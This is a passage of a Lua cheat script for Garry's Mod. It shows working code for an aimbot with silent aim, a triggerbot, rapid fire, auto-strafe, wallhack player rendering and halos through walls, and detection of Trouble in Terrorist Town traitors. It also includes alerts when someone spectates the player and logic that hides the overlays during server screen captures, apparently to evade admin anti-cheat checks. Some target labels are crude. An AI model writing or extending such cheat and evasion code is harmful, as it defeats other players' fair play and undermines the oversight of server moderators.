  1906. MS.CHOutterPos5 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *30, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *30, 0 )
  1907. MS.CHOutterPos6 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *20, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *20, 0 )
  1908. MS.CHOutterPos7 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *30, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *30, 0 )
  1909. MS.CHOutterPos8 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *20, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *20, 0 )
  1910. MS.CHMidPos1 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *10, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *10, 0 )
  1911. MS.CHMidPos2 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *20, 0 )
  1912. MS.CHMidPos3 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *10, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *10, 0 )
  1913. MS.CHMidPos4 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *20, 0 )
  1914. MS.CHMidPos5 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *10, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *10, 0 )
  1915. MS.CHMidPos6 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *20, 0 )
  1916. MS.CHMidPos7 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *10, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *10, 0 )
  1917. MS.CHMidPos8 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *20, 0 )
  1918. MS.CHInnerPos1 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed ) *0, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed ) *0, 0 )
  1919. MS.CHInnerPos2 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed ) *10, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed ) *10, 0 )
  1920. MS.CHInnerPos3 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *0, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *0, 0 )
  1921. MS.CHInnerPos4 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *10, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *10, 0 )
  1922. MS.CHInnerPos5 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *0, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *0, 0 )
  1923. MS.CHInnerPos6 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *10, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *10, 0 )
  1924. MS.CHInnerPos7 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *0, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *0, 0 )
  1925. MS.CHInnerPos8 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *10, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *10, 0 )
  1926. end
  1927.  
  1928. if( MS.Settings.Visuals.Text.velocity or MS.Settings.Visuals.Text.topvelocity and LocalPlayer():Health() >0 ) then
  1929. MS.CurrentSpeed = math.Round( LocalPlayer():GetVelocity():Length() )
  1930. end
  1931.  
  1932. if( #player.GetAll() <2 and #MS.Isolated >0 ) then
  1933. MS.Isolated = {}
  1934. end
  1935.  
  1936. if( MS.Settings.Visuals.traitor and gmod.GetGamemode().Name == "Trouble in Terrorist Town" ) then
  1937. for k,v in pairs( player.GetAll() ) do
  1938. if!( v !=LocalPlayer() and v.GetRole and v:GetRole() !=ROLE_DETECTIVE and v:GetActiveWeapon() and v:GetActiveWeapon().CanBuy and table.HasValue( v:GetActiveWeapon().CanBuy, ROLE_TRAITOR ) and #v:GetActiveWeapon().CanBuy == 1 and !table.HasValue( MS.Traitors, v ) and !table.HasValue( MS.SpawnedWithTraitorWeapons, v:GetActiveWeapon():GetPrintName() ) ) then continue end
  1939. if( MS.DetectingTs ) then
  1940. table.insert( MS.Traitors, v )
  1941. chat.AddText( MS.Colours.green, string.upper( v:Nick() ) .. " PULLED OUT TRAITOR WEAPON " .. string.upper( v:GetActiveWeapon():GetPrintName() ) )
  1942. RCC( "play", "ambient/alarms/klaxon1.wav" )
  1943. timer.Simple( 0.5, function() RCC( "play", "ambient/alarms/klaxon1.wav" ) end )
  1944. timer.Simple( 1, function() RCC( "play", "ambient/alarms/klaxon1.wav" ) end )
  1945. else
  1946. table.insert( MS.SpawnedWithTraitorWeapons, v:GetActiveWeapon():GetPrintName() )
  1947. chat.AddText( MS.Colours.green, string.upper( v:Nick() ) .. " PULLED OUT TRAITOR WEAPON " .. string.upper( v:GetActiveWeapon():GetPrintName() ) .. " BEFORE TRAITORS WERE PICKED, ADDED TO IGNORE LIST" )
  1948. end
  1949. end
  1950. for k,v in pairs( MS.Traitors ) do
  1951. if( team.GetName( v:Team() ) != "Spectators" ) then continue end
  1952. table.remove( MS.Traitors, k )
  1953. end
  1954. end
  1955.  
  1956. if( MS.Cannoning and input.IsKeyDown( 36 ) ) then
  1957. RCC( "gmod_cleanup" )
  1958. end
  1959.  
  1960. if( MS.SetNoVis ) then
  1961. for k,v in pairs( MS.PropChamClasses ) do
  1962. for k2, v2 in pairs( ents.FindByClass( v ) ) do
  1963. v2:SetNoDraw( true )
  1964. v2.NoDraw = true
  1965. end
  1966. end
  1967. MS.SetNoVis = false
  1968. elseif( MS.ResetVis ) then
  1969. for k,v in pairs( ents.GetAll() ) do
  1970. v:SetNoDraw( false )
  1971. v.NoDraw = nil
  1972. end
  1973. MS.ResetVis = false
  1974. end
  1975.  
  1976. for k,v in pairs( player.GetAll() ) do
  1977. if( v:GetObserverTarget() and v != LocalPlayer() and v:GetObserverTarget() == LocalPlayer() and !table.HasValue( MS.Spectators, v ) ) then
  1978. RCC( "play", "vo/announcer_alert.wav" )
  1979. chat.AddText( MS.Colours.blue, v:Nick(), MS.Colours.red, " Started Spectating you!" )
  1980. table.insert( MS.Spectators, v )
  1981. end
  1982. end
  1983.  
  1984. for k,v in pairs( MS.Spectators ) do
  1985. if( !IsValid( v ) ) then table.remove( MS.Spectators, k ) continue end
  1986. if( !v:GetObserverTarget() or ( v:GetObserverTarget() and v:GetObserverTarget() != LocalPlayer() ) ) then
  1987. chat.AddText( MS.Colours.blue, v:Nick(), MS.Colours.red, " stopped spectating you." )
  1988. RCC( "play", "bot/clear3.wav" )
  1989. table.remove( MS.Spectators, k )
  1990. end
  1991. end
  1992.  
  1993. if( MS.Settings.Visuals.playerleader or MS.Settings.Visuals.propleading ) then
  1994. for k,v in pairs( MS.Props ) do
  1995. local RealProp = ents.GetByIndex( k )
  1996. if( !IsValid( RealProp ) or RealProp:GetVelocity():Length() <1000 )then
  1997. MS.Props[ k ]:Remove()
  1998. MS.Props[ k ] = nil
  1999. else
  2000. local PpDistance
  2001. if( IsValid( LocalPlayer():GetEyeTrace().Entity ) and ( LocalPlayer():GetEyeTrace().Entity:GetClass() == "prop_physics" ) ) then
  2002. PpDistance = LocalPlayer():GetEyeTrace().Entity:GetPos():Distance( RealProp:GetPos() )
  2003. elseif RealProp:GetClass() == "prop_physics" then
  2004. PpDistance = 6000
  2005. else
  2006. PpDistance = LocalPlayer():GetShootPos():Distance( RealProp:GetPos() )
  2007. end
  2008. local trace = util.TraceLine( { start = RealProp:GetPos(), endpos = RealProp:GetPos() + RealProp:GetVelocity() * ( PpDistance / 13000 ), filter = { RealProp, FakeProp }, mask = MASK_SHOT } )
  2009. MS.Props[ k ]:SetPos( trace.HitPos )
  2010. MS.Props[ k ]:SetAngles( RealProp:GetAngles() )
  2011. MS.Props[ k ]:SetColor( MS.Colours.PropChamsColour )
  2012. end
  2013. end
  2014. end
  2015. end
  2016. HKA( "Think", "Think", Think )
  2017.  
  2018. local function AimMove( cmd )
  2019. if( !MS.Settings.Aimbot.enabled or IsInSpawn( LocalPlayer():GetPos() ) ) then return end
  2020.  
  2021. if( !IsValid( MS.TargetPly ) ) then
  2022. if( MS.Settings.Aimbot.silent and MS.SnapBack2 and GetSuitableTarget() == nil ) then
  2023. cmd:SetViewAngles( MS.SilentAimAngle )
  2024. MS.UpdateSilentAngle = true
  2025. MS.SnapBack2 = false
  2026. end
  2027. if( MS.NextSnap < CurTime() ) then
  2028. MS.TargetPly = GetSuitableTarget()
  2029. end
  2030. end
  2031.  
  2032. if( IsValid( MS.TargetPly ) and !IsVisible( MS.TargetPly ) ) then
  2033. if( MS.Settings.Aimbot.silent ) then
  2034. MS.UpdateSilentAngle = true
  2035. MS.SnapBack = true
  2036. MS.SnapBack2 = true
  2037. end
  2038. if( MS.NextSnap < CurTime() ) then
  2039. MS.TargetPly = GetSuitableTarget()
  2040. end
  2041. end
  2042.  
  2043. if( IsValid( MS.TargetPly ) )then
  2044. if( MS.TargetPly:Health() <=0 ) then
  2045. if( MS.Settings.Aimbot.silent ) then
  2046. MS.SilentAimAngle.p = math.NormalizeAngle( MS.SilentAimAngle.p )
  2047. MS.SilentAimAngle.y = math.NormalizeAngle( MS.SilentAimAngle.y )
  2048. if( MS.SnapBack ) then
  2049. cmd:SetViewAngles( MS.SilentAimAngle )
  2050. MS.UpdateSilentAngle = true
  2051. MS.SnapBack = false
  2052. MS.SnapBack2 = true
  2053. end
  2054. end
  2055. if( MS.NextSnap < CurTime() ) then
  2056. MS.TargetPly = GetSuitableTarget()
  2057. end
  2058. end
  2059.  
  2060. if( MS.TargetPly and MS.TargetPly:Health() >0 ) then
  2061. if( MS.UpdateSilentAngle ) then
  2062. MS.SilentAimAngle = LocalPlayer():EyeAngles()
  2063. MS.UpdateSilentAngle = false
  2064. end
  2065. local LEA = LocalPlayer():EyeAngles()
  2066. local AimPos
  2067. local AimAngle
  2068.  
  2069. if( MS.Settings.Aimbot.AimFor == "POW RIGHT IN THE KISSER" ) then
  2070. MS.AimBone = MS.TargetPly:LookupBone( "ValveBiped.Bip01_Head1" )
  2071. elseif( MS.Settings.Aimbot.AimFor == "Nipples" ) then
  2072. MS.AimBone = MS.TargetPly:LookupBone( "ValveBiped.Bip01_Spine2" )
  2073. elseif( MS.Settings.Aimbot.AimFor == "RIGHT IN THE PUSSY" ) then
  2074. MS.AimBone = MS.TargetPly:LookupBone( "valvebiped.bip01_pelvis" )
  2075. elseif( MS.Settings.Aimbot.AimFor == "Left Kneecap" ) then
  2076. MS.AimBone = MS.TargetPly:LookupBone( "ValveBiped.Bip01_L_Calf" )
  2077. elseif( MS.Settings.Aimbot.AimFor == "Right Kneecap" ) then
  2078. MS.AimBone = MS.TargetPly:LookupBone( "ValveBiped.Bip01_R_Calf" )
  2079. end
  2080.  
  2081. if( MS.AimBone ) then
  2082. AimPos = MS.TargetPly:GetBonePosition( MS.AimBone ) - LocalPlayer():GetShootPos()
  2083. elseif( MS.TargetPly.GetShootPos ) then
  2084. AimPos = ( MS.TargetPly:GetShootPos() - Vector( 0, 0, 20 ) ) - LocalPlayer():GetShootPos()
  2085. elseif( MS.TargetPly:IsNPC() ) then
  2086. AimPos = ( MS.TargetPly:GetPos() ) - LocalPlayer():GetShootPos()
  2087. else
  2088. AimPos = ( MS.TargetPly:GetPos() - Vector( 0, 0, 40 ) ) - LocalPlayer():GetShootPos()
  2089. end
  2090.  
  2091. AimPos = AimPos + ( ( MS.TargetPly:GetVelocity():GetNormal() *0.00672724 ) - ( LocalPlayer():GetVelocity():GetNormal() *0.0087775 ) )
  2092.  
  2093. AimPos = AimPos:Angle()
  2094.  
  2095. if( MS.Settings.Aimbot.aimsmoothon ) then
  2096. LEA.p = math.ApproachAngle( LEA.p, AimPos.p, MS.Settings.Aimbot.aimsmooth /20 )
  2097. LEA.y = math.ApproachAngle( LEA.y, AimPos.y, MS.Settings.Aimbot.aimsmooth /20 )
  2098. else
  2099. LEA = AimPos
  2100. end
  2101.  
  2102. LEA.p = math.NormalizeAngle( LEA.p )
  2103. LEA.y = math.NormalizeAngle( LEA.y )
  2104.  
  2105. cmd:SetViewAngles( LEA )
  2106.  
  2107. MS.NextSnap = CurTime() +MS.Settings.Aimbot.snapwait
  2108.  
  2109. if( MS.Settings.Aimbot.silent ) then
  2110. if( MS.SilentAimPingAdjust >MS.Settings.Aimbot.snapwait ) then
  2111. MS.NextSnap = CurTime() +MS.SilentAimPingAdjust
  2112. end
  2113. if( MS.SilentAimPingAdjust +MS.Settings.Aimbot.snapwait <0.05 ) then
  2114. MS.NextSnap = CurTime() +0.05
  2115. end
  2116. end
  2117. end
  2118. end
  2119. end
  2120. HKA( "CreateMove", "AimMove", AimMove )
  2121.  
  2122. local function SpamMove( c )
  2123.  
  2124. if( MS.Settings.TriggerBot.rapidfire and LocalPlayer():KeyDown( 1 ) and IsValid( LocalPlayer():GetActiveWeapon() ) and LocalPlayer():GetActiveWeapon():GetClass() != "weapon_physgun" ) then
  2125. c:RemoveKey( 1 )
  2126. end
  2127.  
  2128. if( MS.RopeSpamming ) then
  2129. c:SetViewAngles( Angle( math.Rand( -45, 10 ), math.Rand( -360, 360 ), 0 ) )
  2130. if( LocalPlayer():KeyDown( 2048 ) ) then
  2131. c:RemoveKey( 2048 )
  2132. end
  2133. end
  2134.  
  2135. if( MS.TorchSpamming ) then
  2136. RCC( "impulse", "100" )
  2137. elseif( MS.TorchShutoffTimer < CurTime() and LocalPlayer():FlashlightIsOn() ) then
  2138. RCC( "impulse", "100" )
  2139. LogMsg( "DEACTIVATING TORCH" )
  2140. MS.TorchShutoffTimer = CurTime() +0.15 + ( LocalPlayer():Ping() /500 )
  2141. end
  2142.  
  2143. if( MS.Settings.AutoStrafe and !LocalPlayer():OnGround() and LocalPlayer():GetMoveType() == MOVETYPE_WALK ) then
  2144. if c:GetMouseX() <0 then
  2145. c:SetSideMove( -100 )
  2146. elseif c:GetMouseX() >0 then
  2147. c:SetSideMove( 100 )
  2148. end
  2149. end
  2150.  
  2151. if( MS.Settings.TriggerBot.enabled ) then
  2152. local DiffX, DiffY
  2153. if( MS.TargetPly ) then
  2154. DiffX, DiffY = GetFOV( MS.TargetPly )
  2155. end
  2156. if( ( MS.TargetPly and ( DiffX <3 and DiffY <3 ) ) or ( LocalPlayer():GetEyeTrace().Entity != LocalPlayer() and !IsInSpawn( LocalPlayer():GetEyeTrace().Entity:GetPos() ) and LocalPlayer():GetEyeTrace().Entity:Health() >0 and IsValid( LocalPlayer():GetActiveWeapon() ) and !table.HasValue( MS.TriggerbotBlacklist, LocalPlayer():GetActiveWeapon():GetClass() ) and ( ( LocalPlayer():GetEyeTrace().Entity:IsPlayer() and !LocalPlayer():GetEyeTrace().Entity:GetObserverTarget() and !table.HasValue( MS.Friends, LocalPlayer():GetEyeTrace().Entity ) and ( ( MS.Settings.Aimbot.ignorefriends and LocalPlayer():GetEyeTrace().Entity:GetFriendStatus() != "friend" ) or !MS.Settings.Aimbot.ignorefriends ) ) or ( MS.Settings.Aimbot.targetnpcs and LocalPlayer():GetEyeTrace().Entity:IsNPC() ) ) and ( ( MS.Settings.TriggerBot.onlyaim and MS.Settings.Aimbot.enabled ) or !MS.Settings.TriggerBot.onlyaim ) ) ) then
  2157. if( !MS.IsFiring ) then
  2158. c:SetButtons( bit.bor( c:GetButtons(), IN_ATTACK ) )
  2159. MS.IsFiring = true
  2160. else
  2161. c:SetButtons( bit.band( c:GetButtons(), bit.bnot( IN_ATTACK ) ) )
  2162. MS.IsFiring = false
  2163. end
  2164. end
  2165. end
  2166. end
  2167. HKA( "CreateMove", "SpamMove", SpamMove )
  2168.  
  2169. //entitylock
  2170. local function DrawPhysgunBeam( ply, physgun, enabled, target, bone, hitpos )
  2171. if( !IsValid( target ) or ply != LocalPlayer() or MS.EntityLock == target ) then return end
  2172. MS.EntityLock = target
  2173. end
  2174. HKA( "DrawPhysgunBeam", "DoPhysBeamShit", DrawPhysgunBeam )
  2175.  
  2176. local function MSHUDPaint()
  2177. if( MS.ScreenGrab ) then return end
  2178.  
  2179. cam.Start3D()
  2180. cam.IgnoreZ( true )
  2181. for k,v in pairs( player.GetAll() ) do
  2182. if( !IsValid( v ) or v == LocalPlayer() or ( MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) or ( team.GetName( v:Team() ) == "Spectator" ) and ( gmod:GetGamemode().Name == "Propkill v2.6" ) or ( gmod.GetGamemode().Name == "Trouble in Terrorist Town" and ( ( team.GetName( v:Team() ) == "Spectators" and team.GetName( LocalPlayer():Team() ) != "Spectators" ) or ( team.GetName( v:Team() ) != "Spectators" and team.GetName( LocalPlayer():Team() ) == "Spectators" ) ) ) ) then continue end
  2183.  
  2184. local Origin = v:GetPos() + Vector( 0, 0, 40 )
  2185. local pos = ( v:GetShootPos() + Vector( 0, 0, LocalPlayer():GetShootPos():Distance( v:GetShootPos() )/100 ) ):ToScreen()
  2186. local Col = MS.Colours.Col
  2187. if( MS.Settings.Visuals.teamcolours ) then
  2188. Col = team.GetColor( v:Team() )
  2189. end
  2190. if( table.HasValue( MS.Traitors, v ) or table.HasValue( MS.HighPriority, v ) ) then
  2191. Col = MS.Colours.traitorred
  2192. end
  2193.  
  2194. if( MS.Settings.Visuals.boxes ) then
  2195. render.DrawWireframeBox( v:GetPos(), v:GetAngles(), v:OBBMins(), v:OBBMaxs(), Col, true )
  2196. end
  2197.  
  2198. if( MS.Settings.Visuals.headsmashball and IsValid( MS.EntityLock ) ) then
  2199. local RadianConv = 180 / math.pi
  2200. local AimEntPos = v:GetPos() + Vector( 0, 0, 70 )
  2201. local OwnerPos = LocalPlayer():GetPos() + Vector( 0, 0, 70 )
  2202. local PlayerTargetDist = math.Clamp( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /30 , 20, 500 )
  2203. local SinFunc = math.sin( math.rad( 20 ) )*OwnerPos:Distance( AimEntPos )
  2204. local CosFunc = math.cos( math.rad( 20 ) )*OwnerPos:Distance( AimEntPos )
  2205. local Bearing2 = WorldToLocal( AimEntPos, Angle( 0, 0, 0 ), OwnerPos, Angle( 0, 0, 0 ) )
  2206. local Bearing = ( RadianConv *-math.atan2( Bearing2.y, Bearing2.x ) ) *-1
  2207. local Vec2 = Vector( CosFunc, 0, 0 )
  2208. Vec2:Rotate( Angle( 0, Bearing, 0 ) )
  2209. local OptimumPos = OwnerPos + Vector( Vec2.x, Vec2.y, SinFunc )
  2210.  
  2211. if( IsValid( LocalPlayer():GetActiveWeapon() ) and LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" )then
  2212. local PDistance = MS.EntityLock:LocalToWorld( MS.EntityLock:OBBCenter() ):Distance( OptimumPos )/2
  2213. MS.Colours.headsmashballcol = Color( math.Clamp( PDistance, 0, 255 ), ( math.Clamp( PDistance, 0, 255 ) *-1 ) +255, 0, 255 )
  2214. render.SetMaterial( Material( "color" ) )
  2215. render.DrawSphere( OptimumPos, PlayerTargetDist, 20, 20, MS.Colours.headsmashballcol )
  2216. end
  2217. end
  2218. end
  2219.  
  2220. if( MS.Settings.Visuals.playerchams ) then
  2221. render.SetBlend( 1 )
  2222. render.MaterialOverride( Material( "models/debug/debugwhite" ) )
  2223. render.SuppressEngineLighting( true )
  2224. if( MS.Settings.Visuals.playersuppressenginelighting ) then
  2225. render.SuppressEngineLighting( false )
  2226. end
  2227. for k,v in pairs( player.GetAll() ) do
  2228. if( v:Health() <=0 or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) or ( MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) or( gmod:GetGamemode().Name == "Propkill v2.6" and team.GetName( v:Team() ) == "Spectator" ) or ( ( gmod.GetGamemode().Name == "Trouble in Terrorist Town" ) and ( ( team.GetName( v:Team() ) == "Spectators" and team.GetName( LocalPlayer():Team() ) != "Spectators" ) or ( team.GetName( v:Team() ) != "Spectators" and team.GetName( LocalPlayer():Team() ) == "Spectators" ) ) ) ) then continue end
  2229. local Col = MS.Colours.Col
  2230.  
  2231. if( MS.Settings.Visuals.teamcolours ) then
  2232. Col = team.GetColor( v:Team() )
  2233. end
  2234.  
  2235. if( table.HasValue( MS.Traitors, v ) ) then
  2236. Col = MS.Colours.traitorred
  2237. end
  2238.  
  2239. if( MS.Settings.Visuals.weaponchams and IsValid( v:GetActiveWeapon() ) ) then
  2240. render.SetColorModulation( ( 255 -Col.r )/255, ( 255 -Col.g )/255, ( 255 -Col.b )/255 )
  2241. v:GetActiveWeapon():DrawModel()
  2242. end
  2243.  
  2244. render.SetColorModulation( Col.r /255, Col.g /255, Col.b /255 )
  2245. v:DrawModel()
  2246. end
  2247. render.SuppressEngineLighting( false )
  2248. end
  2249. cam.IgnoreZ( false )
  2250. cam.End3D()
  2251.  
  2252. if( MS.Settings.Visuals.Text.velocity ) then
  2253. draw.SimpleTextOutlined( MS.CurrentSpeed, "DermaLarge", ScrW() /2, ScrH() /9, MS.Colours.white, 1, 1, 2, MS.Colours.black )
  2254. end
  2255.  
  2256. if( MS.Settings.Visuals.Text.topvelocity ) then
  2257. if MS.CurrentSpeed > MS.TopSpeed then
  2258. MS.TopSpeed = MS.CurrentSpeed
  2259. end
  2260. draw.SimpleTextOutlined( MS.TopSpeed, "DermaLarge", ScrW() /2, ScrH() /7, MS.Colours.white, 1, 1, 2, MS.Colours.black )
  2261. end
  2262.  
  2263. if( MS.Settings.Visuals.Text.modelnames ) then
  2264. if IsValid( LocalPlayer():GetEyeTrace().Entity ) then
  2265. if( LocalPlayer():GetEyeTrace().Entity:GetClass() == "prop_physics" ) or ( LocalPlayer():GetEyeTrace().Entity:GetClass() == "gmod_button" ) then
  2266. draw.SimpleTextOutlined( string.upper( LocalPlayer():GetEyeTrace().Entity:GetModel() ), "DermaLarge", ScrW() / 2 - 20, ScrH() - 100, MS.Colours.white, 1, 1, 2, MS.Colours.black )
  2267. end
  2268. end
  2269. end
  2270.  
  2271. if( MS.Settings.Visuals.playerleading or MS.Settings.Visuals.propleading ) then
  2272. MS.LeadingTable = {}
  2273. if( MS.Settings.Visuals.playerleading ) then
  2274. MS.LeadingTable = table.Copy( player.GetAll() )
  2275. end
  2276. if( MS.Settings.Visuals.propleading ) then
  2277. MS.LeadingTable = table.Add( MS.LeadingTable, ents.FindByClass( "prop_physics" ) )
  2278. end
  2279. for k,v in pairs( MS.LeadingTable ) do
  2280. if( v == LocalPlayer() ) then continue end
  2281. if( v:GetVelocity():Length() >1000 ) then
  2282. local trace = util.TraceLine( { start = v:GetPos(), endpos = v:GetPos() + v:GetVelocity()*999999, filter = v, trace = MASK_SHOT } )
  2283. local StartPos = ( v:GetPos() ):ToScreen()
  2284. local EndPos = ( trace.HitPos ):ToScreen()
  2285. local Col = MS.Colours.PropChamsColour
  2286. if( v:IsPlayer() ) then
  2287. Col = MS.Colours.Col
  2288. if( MS.Settings.Visuals.teamcolours ) then
  2289. Col = team.GetColor( v:Team() )
  2290. end
  2291. end
  2292.  
  2293. surface.SetDrawColor( Col.r, Col.g, Col.b )
  2294. surface.DrawLine( StartPos.x, StartPos.y, EndPos.x, EndPos.y )
  2295. surface.DrawLine( EndPos.x - 15, EndPos.y, EndPos.x + 15, EndPos.y )
  2296. surface.DrawLine( EndPos.x, EndPos.y - 15, EndPos.x, EndPos.y + 15 )
  2297. if( !MS.Props[ v:EntIndex() ] and !v:IsPlayer() ) then
  2298. MS.Props[ v:EntIndex() ] = ents.CreateClientProp( v:GetModel() )
  2299. end
  2300. end
  2301. end
  2302. end
  2303. if( IsValid( LocalPlayer():GetViewModel() ) ) then
  2304. LocalPlayer():GetViewModel():SetNoDraw( MS.Settings.Visuals.nogunz )
  2305. end
  2306. end
  2307. HKA( "HUDPaint", "MSHUDPaint", MSHUDPaint )
  2308.  
  2309. local function RenderOrder()
  2310. if( MS.ScreenGrab ) then return end
  2311.  
  2312. if( MS.Settings.Visuals.halos ) then
  2313. for k,v in pairs( player.GetAll() ) do
  2314. if( ( MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) or v:Health() <=0 or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) or ( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) > 1800 or MS.Settings.Visuals.thirdperson and v:GetShootPos():Distance( CozIBackTracedIt.HitPos + LocalPlayer():GetForward() *20 ) > 1800 ) ) then continue end
  2315.  
  2316. local Width = 4
  2317. local Col = MS.Colours.Col
  2318.  
  2319. if( MS.Settings.Visuals.haloselection == 1 ) then --team colour
  2320. Col = team.GetColor( v:Team() )
  2321. elseif( MS.Settings.Visuals.haloselection == 2 ) then --health
  2322. Col = Color( ( math.Clamp( v:Health() *2.5, 0, 255 ) *-1 ) +255, math.Clamp( v:Health() *2.5, 0, 255 ), 0 )
  2323. elseif( MS.Settings.Visuals.haloselection == 4 )then -- RAINBOW
  2324. Col = HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 )
  2325. end
  2326.  
  2327. if( table.HasValue( MS.Traitors, v ) ) then
  2328. Width = 15
  2329. Col = MS.Colours.traitorred
  2330. end
  2331.  
  2332. halo.Add( { v }, Col, Width, Width, 1, true, true )
  2333.  
  2334. if( MS.Settings.Visuals.haloselection != 2 ) then
  2335. Col = InvertColour( Col )
  2336. end
  2337. halo.Add( { v:GetActiveWeapon() }, Col, Width, Width, 1, true, true )
  2338. end
  2339. end
  2340.  
  2341. if( MS.Settings.Visuals.Text.on ) then
  2342. for k,v in pairs( ents.GetAll() ) do
  2343. if( !IsValid( v ) or !table.HasValue( MS.Settings.Visuals.customents, v:GetClass() ) ) then continue end
  2344. draw.SimpleTextOutlined( string.upper( v:GetClass() ), "ass", v:GetPos():ToScreen().x, v:GetPos():ToScreen().y, MS.Colours.black, 1, 1, 1, MS.Colours.red )
  2345. end
  2346. end
  2347.  
  2348. cam.Start3D()
  2349. cam.IgnoreZ( true )
  2350. for k,v in pairs( player.GetAll() ) do-- separate loop for the beams so they aren't affected by IsOutOfFOV
  2351. if( !IsValid( v ) or v == LocalPlayer() or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) ) then continue end
  2352. local Origin = v:GetPos() + Vector( 0, 0, 40 )
  2353. local Col = MS.Colours.Col
  2354. if( MS.Settings.Visuals.teamcolours ) then
  2355. Col = team.GetColor( v:Team() )
  2356. end
  2357. if( table.HasValue( MS.Traitors, v ) or table.HasValue( MS.HighPriority, v ) ) then
  2358. Col = MS.Colours.traitorred
  2359. end
  2360.  
  2361. if( #MS.Tracked >0 ) then
  2362. MS.Start = LocalPlayer():GetShootPos() + LocalPlayer():GetAimVector() * 150 + Vector( 0, 0, 50 )
  2363.  
  2364. for k,v in pairs( MS.Tracked ) do
  2365. if( !IsValid( v ) ) then table.remove( MS.Tracked, k ) continue end
  2366. if( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) or v == LocalPlayer() or v:Health() <=0 or team.GetName( v:Team() ) == "Spectators" ) then continue end
  2367. local Width = math.Clamp( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /( #MS.Tracked /2 ), 500, 1000 )
  2368. local End
  2369. local InnerCol = MS.Colours.Col
